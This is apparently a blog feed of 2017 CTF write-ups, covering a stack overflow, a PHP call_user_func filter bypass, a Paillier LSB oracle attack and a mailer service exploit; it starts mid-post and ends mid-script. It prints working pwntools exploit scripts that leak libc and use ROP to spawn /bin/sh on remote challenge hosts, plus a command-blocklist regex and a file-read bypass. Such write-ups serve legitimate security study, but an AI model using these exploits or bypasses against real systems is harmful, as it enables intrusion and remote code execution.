<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#fc5fa3">int</span> <span style="color:#fc5fa3">__cdecl</span> <span style="color:#41a1c0">main</span>(<span style="color:#fc5fa3">int</span> argc, <span style="color:#fc5fa3">const</span> <span style="color:#fc5fa3">char</span> **argv, <span style="color:#fc5fa3">const</span> <span style="color:#fc5fa3">char</span> **envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">int</span> v3; <span style="color:#6c7986">// eax
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">char</span> buf[<span style="color:#d0bf69">64</span>]; <span style="color:#6c7986">// [esp+0h] [ebp-5Ch]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">int</span> len; <span style="color:#6c7986">// [esp+40h] [ebp-1Ch]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">int</span> *v7; <span style="color:#6c7986">// [esp+50h] [ebp-Ch]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>  v7 = &amp;argc;
</span></span><span style="display:flex;"><span>  setbuf(stdout, <span style="color:#d0bf69">0</span>);
</span></span><span style="display:flex;"><span>  greet(stdin, stdout);
</span></span><span style="display:flex;"><span>  sleep(<span style="color:#d0bf69">1u</span>);
</span></span><span style="display:flex;"><span>  printf(<span style="color:#fc6a5d">&#34;Enter length: &#34;</span>);
</span></span><span style="display:flex;"><span>  len = num();
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">if</span> ( len &gt; <span style="color:#d0bf69">63</span> )
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    puts(<span style="color:#fc6a5d">&#34;No!&#34;</span>);
</span></span><span style="display:flex;"><span>    exit(<span style="color:#d0bf69">1</span>);
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  printf(<span style="color:#fc6a5d">&#34;Enter string (length %u): &#34;</span>, len);
</span></span><span style="display:flex;"><span>  v3 = fileno(stdin);
</span></span><span style="display:flex;"><span>  read(v3, buf, len);
</span></span><span style="display:flex;"><span>  puts(<span style="color:#fc6a5d">&#34;Thanks, bye!&#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>There is still one small detail, though: at the end of main the saved value of esp is loaded back from the stack, so we actually have to add this value into our payload to make the application work. This is the relevant assembly at the end of main:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span>.text:<span style="color:#d0bf69">080487E2</span> <span style="color:#d0bf69">010</span>                 pop     ecx ; This loads the saved esp value
</span></span><span style="display:flex;"><span>.text:<span style="color:#d0bf69">080487E3</span> <span style="color:#d0bf69">00</span>C                 pop     ebx
</span></span><span style="display:flex;"><span>.text:<span style="color:#d0bf69">080487E4</span> <span style="color:#d0bf69">00</span><span style="color:#d0bf69">8</span>                 pop     esi
</span></span><span style="display:flex;"><span>.text:<span style="color:#d0bf69">080487E5</span> <span style="color:#d0bf69">004</span>                 pop     ebp
</span></span><span style="display:flex;"><span>.text:<span style="color:#d0bf69">080487E6</span> <span style="color:#d0bf69">000</span>                 lea     esp, [ecx-<span style="color:#d0bf69">4</span>] ; And here it is restored
</span></span><span style="display:flex;"><span>.text:<span style="color:#d0bf69">080487E9</span> <span style="color:#d0bf69">000</span>                 retn
</span></span></code></pre></div><p>Finally, we can call system and get a shell:
<code>hxp{b4bY's_2nd_pwn4bLe}</code></p>
<hr>
<p>Full exploit script:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> pwn <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#r = process(&#39;./vuln&#39;)</span>
</span></span><span style="display:flex;"><span>r = remote(<span style="color:#fc6a5d">&#39;35.198.98.140&#39;</span>, <span style="color:#d0bf69">45067</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r.recvuntil(<span style="color:#fc6a5d">&#39;:&#39;</span>)
</span></span><span style="display:flex;"><span>r.sendline(<span style="color:#fc6a5d">&#39;AAAABBBBCCCCDDD&#39;</span>)
</span></span><span style="display:flex;"><span>leak = r.recvuntil(<span style="color:#fc6a5d">&#39;Enter length:&#39;</span>)
</span></span><span style="display:flex;"><span>stack_leak = u32(leak[<span style="color:#d0bf69">21</span>:<span style="color:#d0bf69">25</span>])
</span></span><span style="display:flex;"><span>libc_base = u32(leak[<span style="color:#d0bf69">25</span>:<span style="color:#d0bf69">29</span>]) - <span style="color:#d0bf69">0xCD18</span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#39;libc base:  &#39;</span> + <span style="color:#d0a8ff">hex</span>(libc_base)
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#39;stack leak: &#39;</span> + <span style="color:#d0a8ff">hex</span>(stack_leak)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>rop = <span style="color:#fc6a5d">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>rop += p32(libc_base + <span style="color:#d0bf69">0x3A840</span>) <span style="color:#6c7986"># system</span>
</span></span><span style="display:flex;"><span>rop += p32(<span style="color:#d0bf69">0x08048471</span>) <span style="color:#6c7986"># pop; ret</span>
</span></span><span style="display:flex;"><span>rop += p32(libc_base + <span style="color:#d0bf69">0x15CD48</span>) <span style="color:#6c7986"># &#34;/bin/sh&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r.sendline(<span style="color:#fc6a5d">&#39;-4294967286&#39;</span>)
</span></span><span style="display:flex;"><span>r.sendline(<span style="color:#fc6a5d">&#39;A&#39;</span> * <span style="color:#d0bf69">80</span> + p32(stack_leak + <span style="color:#d0bf69">0x10</span>) + <span style="color:#fc6a5d">&#39;A&#39;</span> * <span style="color:#d0bf69">28</span> + rop)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r.interactive()
</span></span></code></pre></div>]]></content></item><item><title>HXP CTF 2017 - cloud18</title><link>https://theromanxpl0.it/posts/2017/11/hxp-ctf-2017-cloud18/</link><pubDate>Sun, 19 Nov 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/11/hxp-ctf-2017-cloud18/</guid><description>&lt;p>We can:&lt;/p>
&lt;ul>
&lt;li>login&lt;/li>
&lt;li>register a new user&lt;/li>
&lt;/ul>
&lt;p>Once we are authenticated, we can use a text editor.&lt;/p>
&lt;p>We take choose a function, write a regex, write some text and have the text that matches the regex replaced with the output of our functions. (line 35-37)&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-php" data-lang="php">&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">$editedText&lt;/span> = preg_replace_callback(&lt;span style="color:#fc6a5d">&amp;#34;/&amp;#34;&lt;/span> . &lt;span style="color:#41a1c0">$_POST&lt;/span>[&lt;span style="color:#fc6a5d">&amp;#34;regex&amp;#34;&lt;/span>] . &lt;span style="color:#fc6a5d">&amp;#34;/&amp;#34;&lt;/span>, &lt;span style="color:#fc5fa3">function&lt;/span> (&lt;span style="color:#41a1c0">$matches&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> call_user_func(&lt;span style="color:#41a1c0">$_POST&lt;/span>[&lt;span style="color:#fc6a5d">&amp;#34;method&amp;#34;&lt;/span>], &lt;span style="color:#41a1c0">$matches&lt;/span>[&lt;span style="color:#d0bf69">0&lt;/span>]);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }, &lt;span style="color:#41a1c0">$_POST&lt;/span>[&lt;span style="color:#fc6a5d">&amp;#34;text&amp;#34;&lt;/span>]);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The client provides a couple of examples (line 43-48)&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span> &amp;lt;select name=&lt;span style="color:#fc6a5d">&amp;#34;method&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;option value=&lt;span style="color:#fc6a5d">&amp;#34;&amp;#34;&lt;/span> disabled selected&amp;gt;select a method&amp;lt;/option&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;option value=&lt;span style="color:#fc6a5d">&amp;#34;strtoupper&amp;#34;&lt;/span>&amp;gt;to upper case&amp;lt;/option&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;option value=&lt;span style="color:#fc6a5d">&amp;#34;strtolower&amp;#34;&lt;/span>&amp;gt;to lower case&amp;lt;/option&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;option value=&lt;span style="color:#fc6a5d">&amp;#34;ucfirst&amp;#34;&lt;/span>&amp;gt;first letter to upper case&amp;lt;/option&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;/select&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>However the method is only checked by this snippet (line 7-9)&lt;/p></description><content type="html"><![CDATA[<p>We can:</p>
<ul>
<li>login</li>
<li>register a new user</li>
</ul>
<p>Once we are authenticated, we can use a text editor.</p>
<p>We take choose a function, write a regex, write some text and have the text that matches the regex replaced with the output of our functions. (line 35-37)</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>    <span style="color:#41a1c0">$editedText</span> = preg_replace_callback(<span style="color:#fc6a5d">&#34;/&#34;</span> . <span style="color:#41a1c0">$_POST</span>[<span style="color:#fc6a5d">&#34;regex&#34;</span>] . <span style="color:#fc6a5d">&#34;/&#34;</span>, <span style="color:#fc5fa3">function</span> (<span style="color:#41a1c0">$matches</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> call_user_func(<span style="color:#41a1c0">$_POST</span>[<span style="color:#fc6a5d">&#34;method&#34;</span>], <span style="color:#41a1c0">$matches</span>[<span style="color:#d0bf69">0</span>]);
</span></span><span style="display:flex;"><span>    }, <span style="color:#41a1c0">$_POST</span>[<span style="color:#fc6a5d">&#34;text&#34;</span>]);
</span></span></code></pre></div><p>The client provides a couple of examples (line 43-48)</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>        &lt;select name=<span style="color:#fc6a5d">&#34;method&#34;</span>&gt;
</span></span><span style="display:flex;"><span>            &lt;option value=<span style="color:#fc6a5d">&#34;&#34;</span> disabled selected&gt;select a method&lt;/option&gt;
</span></span><span style="display:flex;"><span>            &lt;option value=<span style="color:#fc6a5d">&#34;strtoupper&#34;</span>&gt;to upper case&lt;/option&gt;
</span></span><span style="display:flex;"><span>            &lt;option value=<span style="color:#fc6a5d">&#34;strtolower&#34;</span>&gt;to lower case&lt;/option&gt;
</span></span><span style="display:flex;"><span>            &lt;option value=<span style="color:#fc6a5d">&#34;ucfirst&#34;</span>&gt;first letter to upper case&lt;/option&gt;
</span></span><span style="display:flex;"><span>        &lt;/select&gt;
</span></span></code></pre></div><p>However the method is only checked by this snippet (line 7-9)</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> (preg_match(<span style="color:#fc6a5d">&#34;/exec|system|passthru|`|proc_open|popen/&#34;</span>, strtolower(<span style="color:#41a1c0">$_POST</span>[<span style="color:#fc6a5d">&#34;method&#34;</span>].<span style="color:#41a1c0">$_POST</span>[<span style="color:#fc6a5d">&#34;text&#34;</span>])) != <span style="color:#d0bf69">0</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">exit</span>(<span style="color:#fc6a5d">&#34;Do you really think you could pass something to the command line? Functions like this are often disabled! Maybe have a look at the source?&#34;</span>);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>In index.php we notice that we have to execute /usr/bin/get_flag to get the flag</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>		<span style="color:#fc5fa3">echo</span> <span style="color:#fc6a5d">&#34;&lt;div class=&#39;alert success&#39;&gt;&#34;</span> . shell_exec(<span style="color:#fc6a5d">&#34;/usr/bin/get_flag&#34;</span>) . <span style="color:#fc6a5d">&#34;&lt;/div&gt;&#34;</span>;
</span></span></code></pre></div><p>However we cannot use shell_exec.
But we can download the whole binary
We craft a request that includes the file in the webpage and then download it.</p>
<pre tabindex="0"><code>method:file_get_contents
regex:\/usr\/bin\/get_flag
text:/usr/bin/get_flag
</code></pre><p>Now we should get some information reversing the binary.</p>
<p>Luckily the old <code>strings get_flag | grep hxp</code> worked
<code>hxp{Th1s_w2sn't_so_h4rd_now_do_web_of_ages!!!Sorry_f0r_f1rst_sh1tty_upload}</code></p>
]]></content></item><item><title>Codeblue CTF 2017 - Paillier Oracle</title><link>https://theromanxpl0.it/posts/2017/11/codeblue-ctf-2017-paillier-oracle/</link><pubDate>Sat, 11 Nov 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/11/codeblue-ctf-2017-paillier-oracle/</guid><description>&lt;p>We have a service and we are given the source code.
When we connect we have to submit a proof of work, after that we will receive the encrypted flag.
We can then send cipher text to the server and get the least significant bit of the decrypted text.&lt;/p>
&lt;p>The first thing you find looking for the &lt;a href="https://en.wikipedia.org/wiki/Paillier_cryptosystem#Homomorphic_properties">Pailler Cryptosystem&lt;/a> is that:&lt;/p>
&lt;ol>
&lt;li>$(n, g)$ is the public key&lt;/li>
&lt;li>given an ecrypted message $c = enc(m)$ you can craft another encrypted message so that is decrypts to $m + m_1$ or $mm_2$.&lt;/li>
&lt;/ol>
&lt;p>So we can control the decrypted text (kind of).&lt;/p></description><content type="html"><![CDATA[<p>We have a service and we are given the source code.
When we connect we have to submit a proof of work, after that we will receive the encrypted flag.
We can then send cipher text to the server and get the least significant bit of the decrypted text.</p>
<p>The first thing you find looking for the <a href="https://en.wikipedia.org/wiki/Paillier_cryptosystem#Homomorphic_properties">Pailler Cryptosystem</a> is that:</p>
<ol>
<li>$(n, g)$ is the public key</li>
<li>given an ecrypted message $c = enc(m)$ you can craft another encrypted message so that is decrypts to $m + m_1$ or $mm_2$.</li>
</ol>
<p>So we can control the decrypted text (kind of).</p>
<p>I worked offline at first with a mock flag.</p>
<p>The first idea I came up with was to send a message that decrypts to $m2^{-1}$ and build the flag 1 bit at a time. This worked for a couple of bit, but sometimes randomly not.</p>
<p>That&rsquo;s because multiplying for $2^{-1} \mod n^2$ is not really an integer division!</p>
<p>So I came up with this:</p>
<ol>
<li>if the binary representation of $m$ (the flag for example) ends with $0$ we can craft a message that decrypts to $m2^{-1}$ and get the bit following the last zero (like a shift to the right)</li>
<li>if $m$ does <em>not</em> end with $0$ we can send a message that decrypts to $(m - 1) * 2^{-1}$ and get the next bit</li>
</ol>
<p>The server can tell us the last bit of $m$.
So how we get the flag?</p>
<ol>
<li>Get the <code>encrypted_flag</code> (ef) from the server</li>
<li>Get the least significant bit and set it on our partial <code>flag</code></li>
<li>Send <code>m</code> so that <code>dec(m)</code> $ = (ef - flag)/ 2^{len(flag)} = ef \gg len(flag)$</li>
<li>Repeat from 2</li>
</ol>
<p>It was pretty cool because when I started the script and I got <code>}</code> as the first character and I was like &lsquo;wow it works&rsquo;, but then I started to get random hex characters and not my mock flag.</p>
<p>Well I had forgotten that I switched to the remote server :P</p>
<p>I had a video of the run, but it got overwritten by an attempt to solve Smoke on the Water.</p>
<hr>
<h2 id="python-solution">Python solution</h2>
<p>I have pwntools on a virtualenv and it didn&rsquo;t play well with SageMath, so back to plain old python</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>flag = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>l = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># i = g^(-1), j = 2^(-1)</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> l &lt; <span style="color:#d0bf69">8</span> * <span style="color:#d0bf69">100</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986"># dec((ef * g^(-flag)) ^ (2^(-l))) = (flag - knownbits) &gt;&gt; l</span>
</span></span><span style="display:flex;"><span>    flag |= (getLSB(<span style="color:#d0a8ff">pow</span>(encrypted_flag * <span style="color:#d0a8ff">pow</span>(i, flag, n2), <span style="color:#d0a8ff">pow</span>(j, l, n2), n2)) &lt;&lt; l)
</span></span><span style="display:flex;"><span>    l += <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986"># print pt</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> l % <span style="color:#d0bf69">8</span> == <span style="color:#d0bf69">0</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span> unhexlify(<span style="color:#d0a8ff">format</span>(pt, <span style="color:#fc6a5d">&#39;x&#39;</span>))
</span></span></code></pre></div><hr>
<p>We have these two nice properties in the Paillier Cryptosystem</p>
$$dec(m g^{k}) = m + k \mod n^2$$$$dec(m^{k}) = mk \mod n^2$$<h3 id="helper-functions">Helper functions</h3>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">getLSB</span>(m):
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#39;&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">    Get LSB from the server
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">    &#39;&#39;&#39;</span>
</span></span><span style="display:flex;"><span>    r.sendline(<span style="color:#d0a8ff">str</span>(m))
</span></span><span style="display:flex;"><span>    es = r.recvline()
</span></span><span style="display:flex;"><span>    lsb = <span style="color:#d0a8ff">int</span>(es[-<span style="color:#d0bf69">2</span>])
</span></span><span style="display:flex;"><span>    r.recvuntil(loop)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> lsb
</span></span></code></pre></div>]]></content></item><item><title>Codeblue CTF 2017 - Secret Mailer Service</title><link>https://theromanxpl0.it/posts/2017/11/codeblue-ctf-2017-secret-mailer-service/</link><pubDate>Sat, 11 Nov 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/11/codeblue-ctf-2017-secret-mailer-service/</guid><description>&lt;p>For this challenge we&amp;rsquo;re given the binary of a service, &lt;code>mailer&lt;/code>. There are 5 letters allocated on the stack which we can work on, and every time a letter is referenced the code checks if the index is valid - no exploits there. The service allows us to write, delete and post letters, where posting a letter really means writing out its contents to &lt;code>/dev/null&lt;/code> with the ability to use a filter. It&amp;rsquo;s in the filter selection that we find our vulnerability:&lt;/p></description><content type="html"><![CDATA[<p>For this challenge we&rsquo;re given the binary of a service, <code>mailer</code>. There are 5 letters allocated on the stack which we can work on, and every time a letter is referenced the code checks if the index is valid - no exploits there. The service allows us to write, delete and post letters, where posting a letter really means writing out its contents to <code>/dev/null</code> with the ability to use a filter. It&rsquo;s in the filter selection that we find our vulnerability:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#fc5fa3">int</span> <span style="color:#41a1c0">post_letter</span>(Letter *letters, FILE *s)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">int</span> v3;
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">int</span> v4;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    puts(<span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">Which letter do you want to post?&#34;</span>);
</span></span><span style="display:flex;"><span>    printf(<span style="color:#fc6a5d">&#34;ID (0-%d): &#34;</span>, <span style="color:#d0bf69">4</span>);
</span></span><span style="display:flex;"><span>    v4 = read_number();
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> ( v4 &lt; <span style="color:#d0bf69">0</span> || v4 &gt; <span style="color:#d0bf69">4</span> || !letters[v4].present )
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> puts(<span style="color:#fc6a5d">&#34;Invalid ID.&#34;</span>);
</span></span><span style="display:flex;"><span>    puts(<span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">Which filter do you want to apply?&#34;</span>);
</span></span><span style="display:flex;"><span>    filter_menu();
</span></span><span style="display:flex;"><span>    v3 = read_number();
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> ( v3 &gt; <span style="color:#d0bf69">2</span> )
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> puts(<span style="color:#fc6a5d">&#34;Invalid filter.&#34;</span>);
</span></span><span style="display:flex;"><span>    filters[v3](s, letters[v4].data, letters[v4].length);
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> puts(<span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">Done!&#34;</span>);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The filter id is only checked to be &lt;= 2 and not &gt;= 0. This allows us to input a negative number in there and, since the filters are implemented as a lookup table of function addresses, we can basically call whatever function we want, as long as the parameters are compatible. What I did was call the setbuf entry in plt by using index -15, thus setting the data of one of the filters as the buffer for <code>/dev/null</code>. The nice part here is that libc assumes this buffer to be at least 8192 bytes long, so by posting other letters we can overflow it.</p>
<p>Let&rsquo;s have a quick look at how a letter is saved in memory:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#d0bf69">00000000</span> Letter          struc ; (<span style="color:#fc5fa3">sizeof</span>=<span style="color:#d0bf69">0x108</span>, mappedto_5)
</span></span><span style="display:flex;"><span><span style="color:#d0bf69">00000000</span> present         dd ?
</span></span><span style="display:flex;"><span><span style="color:#d0bf69">00000004</span> length          dd ?
</span></span><span style="display:flex;"><span><span style="color:#d0bf69">0000000</span><span style="color:#d0bf69">8</span> data            db <span style="color:#d0bf69">256</span> dup(?)
</span></span><span style="display:flex;"><span><span style="color:#d0bf69">0000010</span><span style="color:#d0bf69">8</span> Letter          ends
</span></span></code></pre></div><p>And at the stack of the main loop (please note this is the inverted stack layout used by ida, lower addresses are on top):</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span>-<span style="color:#d0bf69">0000053</span>C stream          dd ?                    ; /dev/null
</span></span><span style="display:flex;"><span>-<span style="color:#d0bf69">0000053</span><span style="color:#d0bf69">8</span> var_538         dd ?
</span></span><span style="display:flex;"><span>-<span style="color:#d0bf69">00000534</span> var_534         dd ?
</span></span><span style="display:flex;"><span>-<span style="color:#d0bf69">00000530</span> data            Letter <span style="color:#d0bf69">5</span> dup(?)
</span></span><span style="display:flex;"><span>-<span style="color:#d0bf69">0000000</span><span style="color:#d0bf69">8</span> var_8           dd ?
</span></span><span style="display:flex;"><span>-<span style="color:#d0bf69">00000004</span> var_4           dd ?
</span></span><span style="display:flex;"><span>+<span style="color:#d0bf69">00000000</span>  s              db <span style="color:#d0bf69">4</span> dup(?)
</span></span><span style="display:flex;"><span>+<span style="color:#d0bf69">00000004</span>  r              db <span style="color:#d0bf69">4</span> dup(?)
</span></span></code></pre></div><p>The logical thing to do now is overflow the buffer for the last letter, getting full control of the return address while leaving the other entries free for our use - remember that to overflow the buffer we have to post other letters&rsquo; contents. Unfortunately, we still don&rsquo;t know any libc address, so that&rsquo;s what we&rsquo;re going to focus on next. I did it in a quite convoluted way, but a way I liked: I realized that we could return first to the <code>read_letter</code> function, whose role is to read a string into a buffer, and give it the address of some free memory area in order to write a format string there, and then call <code>printf</code> to leak a plt address. The end of this first step is returning back to the main loop, now knowing libc&rsquo;s base address.</p>
<p>For the second and last step, I used the same setbuf and read_letter calls, only this time providing <code>&quot;/bin/sh&quot;</code> instead of <code>&quot;%s&quot;</code> to the latter. Then the logical thing was to call <code>system</code> on the buffer, getting a shell on the remote server. A couple of commands later, I got this:
<code>CBCTF{4R3_YOU_w4RM3D_UP_f0R_MORE_PWNabLeS?}</code></p>
<p>Hell, this one took me a long time to figure out and it was only meant to be a warmup?</p>
<hr>
<p>This is the full exploit script:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> pwn <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">chunks</span>(data, step):
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">0</span>, <span style="color:#d0a8ff">len</span>(data), step):
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">yield</span> data[i:<span style="color:#d0a8ff">min</span>(i+step, <span style="color:#d0a8ff">len</span>(data))]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">add_letter</span>(r, letter):
</span></span><span style="display:flex;"><span>	r.recvuntil(<span style="color:#fc6a5d">&#39;&gt; &#39;</span>)
</span></span><span style="display:flex;"><span>	r.sendline(<span style="color:#fc6a5d">&#39;1&#39;</span>)
</span></span><span style="display:flex;"><span>	r.recvuntil(<span style="color:#fc6a5d">&#39;Input your contents:&#39;</span>)
</span></span><span style="display:flex;"><span>	r.sendline(letter)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">delete_letter</span>(r, letterid):
</span></span><span style="display:flex;"><span>	r.recvuntil(<span style="color:#fc6a5d">&#39;&gt; &#39;</span>)
</span></span><span style="display:flex;"><span>	r.sendline(<span style="color:#fc6a5d">&#39;2&#39;</span>)
</span></span><span style="display:flex;"><span>	r.recvuntil(<span style="color:#fc6a5d">&#39;(0-4):&#39;</span>)
</span></span><span style="display:flex;"><span>	r.sendline(<span style="color:#d0a8ff">str</span>(letterid))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">post_letter</span>(r, letterid, filterid):
</span></span><span style="display:flex;"><span>	r.recvuntil(<span style="color:#fc6a5d">&#39;&gt; &#39;</span>)
</span></span><span style="display:flex;"><span>	r.sendline(<span style="color:#fc6a5d">&#39;3&#39;</span>)
</span></span><span style="display:flex;"><span>	r.recvuntil(<span style="color:#fc6a5d">&#39;(0-4):&#39;</span>)
</span></span><span style="display:flex;"><span>	r.sendline(<span style="color:#d0a8ff">str</span>(letterid))
</span></span><span style="display:flex;"><span>	r.recvuntil(<span style="color:#fc6a5d">&#39;&gt; &#39;</span>)
</span></span><span style="display:flex;"><span>	r.sendline(<span style="color:#d0a8ff">str</span>(filterid))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>libc = ELF(<span style="color:#fc6a5d">&#39;./libc.so.6&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r = remote(<span style="color:#fc6a5d">&#39;sms.tasks.ctf.codeblue.jp&#39;</span>, <span style="color:#d0bf69">6029</span>)
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#r = process(&#39;./mailer&#39;)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
